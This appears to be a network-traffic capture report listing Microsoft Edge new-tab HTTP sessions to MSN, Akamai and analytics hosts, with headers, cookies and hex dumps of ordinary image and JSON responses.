2024-11-28 07:55:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=134477 Expires: Fri, 29 Nov 2024 21:17:12 GMT Date: Thu, 28 Nov 2024 07:55:55 GMT Connection: close
2024-11-28 07:55:56 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49824	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:56 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:56 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:56 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075556Z-174f7845968psccphC1EWRuz9s0000000ycg000000005m94 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:56 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49822	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:56 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:57 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:57 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075557Z-174f7845968nxc96hC1EWRspw80000000xx0000000004byq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:57 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49825	18.173.219.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:56 UTC	1012	OUT	GET /b2?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=13592907fda912e82b418fb1732780555; XID=13592907fda912e82b418fb1732780555
2024-11-28 07:55:57 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 28 Nov 2024 07:55:57 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 d256d517610f633eae85f1fada59368e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: xwzLiS8oNR4SZFQD9FdZ_YE2YQqTxpRX6GntaBZ-MzjBmkbk-UdhmA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49826	23.101.168.44	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:57 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=31AC35F41F35674A28F120B11E576675&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bf1d669ef24e4f73eb0ae15d1d3e4975 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
2024-11-28 07:55:58 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2676 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132569-T700344138-C128000000002113729+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113729+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 07:55:56 GMT Connection: close
2024-11-28 07:55:58 UTC	2676	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 70 6f 6c 61 72 20 62 65 61 72 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 70 6f 6c 61 72 2b 62 65 61 72 26 66 69 6c 74 65 72 73 3d 49 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"polar bear\",\"cta\":\"https:\/\/www.bing.com\/search?q=polar+bear&filters=I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49833	20.110.205.119	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:59 UTC	1279	OUT	GET /c.gif?rnd=1732780552189&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0a5496371c054449aaffcd2982636e51&activityId=0a5496371c054449aaffcd2982636e51&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=21C0AAED8B504C3984197EE0ABFA204B&MUID=31AC35F41F35674A28F120B11E576675 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-28 07:56:00 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=31AC35F41F35674A28F120B11E576675; domain=.msn.com; expires=Tue, 23-Dec-2025 07:55:59 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=31AC35F41F35674A28F120B11E576675; domain=c.msn.com; expires=Tue, 23-Dec-2025 07:55:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 05-Dec-2024 07:55:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 08:05:59 GMT; path=/; SameSite=None; Secure; Date: Thu, 28 Nov 2024 07:55:58 GMT Connection: close Content-Length: 42
2024-11-28 07:56:00 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49834	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:00 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 18 Nov 2024 16:00:05 GMT X-Source-Length: 116349 X-Datacenter: eastus X-ActivityId: d5afbdab-f330-4b6b-9080-ebcfb1965bf6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=374775 Expires: Mon, 02 Dec 2024 16:02:15 GMT Date: Thu, 28 Nov 2024 07:56:00 GMT Connection: close
2024-11-28 07:56:00 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-28 07:56:00 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-28 07:56:00 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-28 07:56:00 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 